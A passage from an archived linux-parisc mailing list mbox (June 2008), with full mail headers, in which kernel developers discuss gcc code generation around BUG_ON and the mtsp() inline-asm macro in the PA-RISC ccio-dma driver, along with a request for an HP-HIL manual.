>>  1cc:   0f f0 10 95     ldw 8(r31),r21
>>  1d0:   d3 9c 1f 45     extrw,s ret0,26,27,ret0
>>  1d4:   0a b3 0a 13     add,l r19,r21,r19
>>  1d8:   d7 9c 09 8c     depw,z ret0,19,20,ret0
>>  1dc:   0f e8 10 94     ldw 4(r31),r20
>>  1e0:   08 bc 0a 1c     add,l ret0,r5,ret0
>>  1e4:   6b b3 00 20     stw r19,10(ret1)
>>  1e8:   0a b9 0a 15     add,l r25,r21,r21
>>  1ec:   0a 9c 0a 14     add,l ret0,r20,r20
>> __ 1f0:   00 1a 58 20     mtsp r26,sr1  __
>>  1f4:   08 54 0a 1c     add,l r20,rp,ret0
>>  1f8:   d7 8e 0c 14     depw r14,31,12,ret0
>>  1fc:   0e dc 12 88     stw ret0,4(r22)
>>  200:   06 80 53 13     lci r0(sr1,r20),r19
>>  204:   d2 73 1a 74     extrw,u r19,19,12,r19
>>  208:   08 1a 02 5c     copy r26,ret0
>>  20c:   d7 93 0e 14     depw r19,15,12,ret0
>>  210:   0e dc 12 80     stw ret0,0(r22)
>>  214:   06 c0 12 80     fdc r0(r22)
>>  218:   00 00 04 00     sync
>> [snip]
>>
>> My worry is the number of insn between the ldi 0,r26 and the mtsp r26,sr1.
>>
>> Here, I supposed it's harmless but may be different in other critical path?
>>
>> Wouldn't it be interesting (if possible) to insure that the load of the reg
>> and mtsp stay close together? (or may be simply detect the case of a const == 0?)
>>
>> What your opinion?
>>
>> Tx again,
>>     J.
>>
>> PS: I didn't find back gcc-4.0 to check if my previous perf test could failed
>> for this reason?
>>
>>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(), BUG_ON() seems to break gcc-4.2
Date: Thu, 19 Jun 2008 18:41:52 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20080619224154.4F8F04DCB@hiauly1.hia.nrc.ca>
References: <20080619160441.GA6049@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213915330 5180 80.91.229.12 (19 Jun 2008 22:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 22:42:10 +0000 (UTC)
Cc: rubisher@scarlet.be, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 00:42:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9SqA-00054Y-Gm
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 00:42:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750714AbYFSWl7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 18:41:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753392AbYFSWl7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 18:41:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3808 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750714AbYFSWl6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 18:41:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4F8F04DCB; Thu, 19 Jun 2008 18:41:53 -0400 (EDT)
In-Reply-To: <20080619160441.GA6049@colo.lackof.org> from "Grant Grundler" at Jun 19, 2008 10:04:41 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/432>

> >    4:   34 1c 00 00     ldi 0,ret0
> 
> The BUG_ON is causing the movb to be inserted. And then the compiler knows
> the value is zero and can either copy from a register or "load immediate 0".
> It probably chose the "ldi 0" because it avoids register interlocks and
> can always be executed.

This might not be correct with gnu as, but I think "ldi 0" is done as

	or r0,r0,ret0

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(), BUG_ON() seems to break gcc-4.2    optimization?
Date: Thu, 19 Jun 2008 18:48:11 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20080619224813.6F4934DF8@hiauly1.hia.nrc.ca>
References: <485AB72B.2090304@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213915708 6098 80.91.229.12 (19 Jun 2008 22:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 22:48:28 +0000 (UTC)
Cc: grundler@parisc-linux.org, rubisher@scarlet.be,
	linux-parisc@vger.kernel.org
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 00:49:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9SwJ-0006bi-FA
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 00:49:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750714AbYFSWsU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 18:48:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750864AbYFSWsT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 18:48:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3812 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750714AbYFSWsT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 18:48:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6F4934DF8; Thu, 19 Jun 2008 18:48:12 -0400 (EDT)
In-Reply-To: <485AB72B.2090304@scarlet.be> from "Joel Soete" at Jun 19, 2008 07:44:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/433>

> > Does the BUG_ON explaination make sense to you?
> > 
> Well I nerver imagine that a compiler can make proof of this kind of induction spirit ;-) but that's give the sense, tx.

Yes, the current compiler eliminates a lot of dead code based on induction.
This occurs a lot when functions are inlined, etc.  Makes debugging a real
problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2 
	optimization?
Date: Fri, 20 Jun 2008 07:37:35 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <K2R12N$EE2BC94FF8522BA14A496E3C3737DCC9@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1213943921 3967 80.91.229.12 (20 Jun 2008 06:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Jun 2008 06:38:41 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>,
	"rubisher" <rubisher@scarlet.be>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 08:39:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9aHJ-0007A3-T0
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 08:39:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751236AbYFTGib (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Jun 2008 02:38:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751251AbYFTGib
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Jun 2008 02:38:31 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:37135 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751236AbYFTGia convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Jun 2008 02:38:30 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5K6bZwQ010718;
	Fri, 20 Jun 2008 08:37:35 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/434>

> > > Does the BUG_ON explaination make sense to you?
> > > 
> > Well I nerver imagine that a compiler can make proof of this kind of
induction spirit ;-) but that's give the sense, tx.
> 
> Yes, the current compiler eliminates a lot of dead code based on induction.
> This occurs a lot when functions are inlined, etc.  Makes debugging a real
> problem.
> 
Thanks Dave (after a while away from this parisc hobby, it's nice to learn
fresh info).

Cheers,
    J.

> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <jflan@tampabay.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Looking for HP-HIL Technical Reference Info
Date: Fri, 20 Jun 2008 9:38:43 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <1834706.1537911213969124051.JavaMail.root@hrndva-web09-z02>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213970037 27490 80.91.229.12 (20 Jun 2008 13:53:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Jun 2008 13:53:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 15:54:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9h4a-000717-Nt
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 15:54:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753249AbYFTNxt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Jun 2008 09:53:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753303AbYFTNxt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Jun 2008 09:53:49 -0400
Original-Received: from hrndva-omtalb.mail.rr.com ([71.74.56.124]:48935 "EHLO
	hrndva-omtalb.mail.rr.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753249AbYFTNxt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Jun 2008 09:53:49 -0400
X-Greylist: delayed 903 seconds by postgrey-1.27 at vger.kernel.org; Fri, 20 Jun 2008 09:53:48 EDT
Original-Received: from hrndva-web09-z02 ([10.128.132.160])
          by hrndva-smta01.mail.rr.com with ESMTP
          id <20080620133843.CUTR16402.hrndva-smta01.mail.rr.com@hrndva-web09-z02>
          for <linux-parisc@vger.kernel.org>;
          Fri, 20 Jun 2008 13:38:43 +0000
X-Priority: 3 (Normal)
Sensitivity: Normal
X-Originating-IP: from 138.64.2.76 by webmail.tampabay.rr.com; Fri, 20 Jun 2008 13:38:43 +0000
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/435>

I am trying to track down the HP-HIL Technical reference manual 
(HP #45918A).  PARISC linux supports HP-HIL devices, so someone must have access to this technical information.  I could surely use the help locating a copy.  I  would be  happy to pay shipping and copying costs. 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Fri, 20 Jun 2008 15:01:43 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <K2RLMV$5D6B8CC1910705073A720C99B9A05EBA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1213970579 29593 80.91.229.12 (20 Jun 2008 14:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Jun 2008 14:02:59 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"deller" <deller@gmx.de>, "grundler" <grundler@parisc-linux.org>,
	"kyle" <kyle@mcmartin.ca>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 16:03:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9hD9-000226-EI
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 16:03:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754701AbYFTOCk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Jun 2008 10:02:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754832AbYFTOCk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Jun 2008 10:02:40 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:60789 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754701AbYFTOCi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Jun 2008 10:02:38 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5KE1hsF004972;
	Fri, 20 Jun 2008 16:01:44 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: eir; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/436>

> On Thu, Jun 19, 2008 at 12:40:30PM +0100, Joel Soete wrote:
> > Hello all,
> > 
[snip]
> > And the wonder is that my system d380 is even booting and running despite this
> > lake???
> > 
> > That said with gcc-4.3, I find well this code iin the 2 functions.
> > And here commes my worry about mtsp() macro: here is the resulting code with
> > gcc-4.3:

Well I was hopping that would be the fix of my perf test but not ;_(
(after a bit less then an hour of tar/rm test the fs became again corrupted)

> > 00000000 <ccio_map_sg>:
> > [snip]
> > __ 1a0:   34 1a 00 00     ldi 0,r26__
> >  1a4:   20 a0 02 00     ldil L%10000000,r5
> >  1a8:   8e 80 61 28     cmpib,> 0,r20,244 <ccio_map_sg+0x244>
> >  1ac:   20 40 0e 01     ldil L%-10000000,rp
> >  1b0:   86 c0 21 88     cmpib,= 0,r22,27c <ccio_map_sg+0x27c>
> >  1b4:   34 19 00 00     ldi 0,r25
> >  1b8:   0f e0 10 9c     ldw 0(r31),ret0
> >  1bc:   0d 80 10 94     ldw 0(r12),r20
> >  1c0:   d7 80 1c 1e     depwi 0,31,2,ret0
> >  1c4:   4b b3 00 20     ldw 10(ret1),r19
> >  1c8:   0a 9c 04 1c     sub ret0,r20,ret0
> >  1cc:   0f f0 10 95     ldw 8(r31),r21
> >  1d0:   d3 9c 1f 45     extrw,s ret0,26,27,ret0
> >  1d4:   0a b3 0a 13     add,l r19,r21,r19
> >  1d8:   d7 9c 09 8c     depw,z ret0,19,20,ret0
> >  1dc:   0f e8 10 94     ldw 4(r31),r20
> >  1e0:   08 bc 0a 1c     add,l ret0,r5,ret0
> >  1e4:   6b b3 00 20     stw r19,10(ret1)
> >  1e8:   0a b9 0a 15     add,l r25,r21,r21
> >  1ec:   0a 9c 0a 14     add,l ret0,r20,r20
> > __ 1f0:   00 1a 58 20     mtsp r26,sr1  __
> >  1f4:   08 54 0a 1c     add,l r20,rp,ret0
> >  1f8:   d7 8e 0c 14     depw r14,31,12,ret0
> >  1fc:   0e dc 12 88     stw ret0,4(r22)
> >  200:   06 80 53 13     lci r0(sr1,r20),r19
> >  204:   d2 73 1a 74     extrw,u r19,19,12,r19
> >  208:   08 1a 02 5c     copy r26,ret0
> >  20c:   d7 93 0e 14     depw r19,15,12,ret0
> >  210:   0e dc 12 80     stw ret0,0(r22)
> >  214:   06 c0 12 80     fdc r0(r22)
> >  218:   00 00 04 00     sync
> > [snip]
> > 
> > My worry is the number of insn between the ldi 0,r26 and the mtsp r26,sr1.
> > 
> > Here, I supposed it's harmless but may be different in other critical path?
> > 
> > Wouldn't it be interesting (if possible) to insure that the load of the reg
> > and mtsp stay close together? (or may be simply detect the case of a const
== 0?)
> > 
Well I tried something:
@@ -103,10 +108,23 @@
 	cr;				\
 })
 
-#define mtsp(gr, cr) \
-	__asm__ __volatile__("mtsp %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
+#define mtsp(lval, i_sr)					\
+{								\
+	if (lval) {						\
+		unsigned long reg = (unsigned long)(lval);	\
+		__asm__ __volatile__(				\
+			"mtsp %0, %%sr%1"			\
+			: /* no outputs */			\
+			: "r" (reg), "i" (i_sr)			\
+			: "memory");				\
+	} else {						\
+		__asm__ __volatile__(				\
+			"mtsp %%r0, %%sr%0"			\
+			: /* no outputs */			\
+			: "i" (i_sr)				\
+			: "memory");				\
+	};							\
+}
 
that does well the drill for ccio-dma driver but else where (memcpy or cache)
it looks worse then the original, so get rid of this idea.

I will go back to sleep on this issue some more month ;<)

Tx again to all for help,
    J.




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Fri, 20 Jun 2008 11:11:51 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <20080620171151.GU4392@parisc-linux.org>
References: <K2RLMV$5D6B8CC1910705073A720C99B9A05EBA@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213981945 6596 80.91.229.12 (20 Jun 2008 17:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Jun 2008 17:12:25 +0000 (UTC)
Cc: grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	deller <deller@gmx.de>, kyle <kyle@mcmartin.ca>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 20 19:13:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9kAX-00032U-3d
	for glpp-linux-parisc@gmane.org; Fri, 20 Jun 2008 19:13:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752470AbYFTRMJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Jun 2008 13:12:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752719AbYFTRMJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Jun 2008 13:12:09 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:53135 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752470AbYFTRMI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Jun 2008 13:12:08 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 21311494005; Fri, 20 Jun 2008 11:11:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <K2RLMV$5D6B8CC1910705073A720C99B9A05EBA@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/437>

On Fri, Jun 20, 2008 at 03:01:43PM +0100, Joel Soete wrote:
> Well I tried something:
> @@ -103,10 +108,23 @@
>  	cr;				\
>  })
>  
> -#define mtsp(gr, cr) \
> -	__asm__ __volatile__("mtsp %0,%1" \
> -		: /* no outputs */ \
> -		: "r" (gr), "i" (cr) : "memory")
> +#define mtsp(lval, i_sr)					\
> +{								\
> +	if (lval) {						\
> +		unsigned long reg = (unsigned long)(lval);	\
> +		__asm__ __volatile__(				\
> +			"mtsp %0, %%sr%1"			\
> +			: /* no outputs */			\
> +			: "r" (reg), "i" (i_sr)			\
> +			: "memory");				\
> +	} else {						\
> +		__asm__ __volatile__(				\
> +			"mtsp %%r0, %%sr%0"			\
> +			: /* no outputs */			\
> +			: "i" (i_sr)				\
> +			: "memory");				\
> +	};							\
> +}
>  
> that does well the drill for ccio-dma driver but else where (memcpy or cache)
> it looks worse then the original, so get rid of this idea.

Try this instead:

#define mtsp(space, cr)	{						\
	if (__builtin_constant_p(space) && (space == 0)) {		\
		__asm__ __volatile__("mtsp %%r0, %0" :			\
			/* no outputs */ : "i" (cr) : "memory");	\
	} else {							\
		__asm__ __volatile__("mtsp %0, %1" :			\
			/* no outputs */ : "r" (space), "i" (cr) :	\
				"memory");				\
	}								\
}

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ldcw inline assembler patch
Date: Sat, 21 Jun 2008 14:34:32 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20080621183433.9F92C431A@hiauly1.hia.nrc.ca>
References: <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214073313 11671 80.91.229.12 (21 Jun 2008 18:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Jun 2008 18:35:13 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 21 20:35:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KA7wJ-0000dJ-AJ
	for glpp-linux-parisc@gmane.org; Sat, 21 Jun 2008 20:35:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753010AbYFUSej (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Jun 2008 14:34:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753283AbYFUSej
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Jun 2008 14:34:39 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4038 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753010AbYFUSei (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Jun 2008 14:34:38 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9F92C431A; Sat, 21 Jun 2008 14:34:32 -0400 (EDT)
In-Reply-To: <119aab440806161350w4d15c14ex735377b78f697fd8@mail.gmail.com> from "Carlos O'Donell" at Jun 16, 2008 04:50:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/438>

> > diff --git a/include/asm-parisc/system.h b/include/asm-parisc/system.h
> > index ee80c92..4752684 100644
> > --- a/include/asm-parisc/system.h
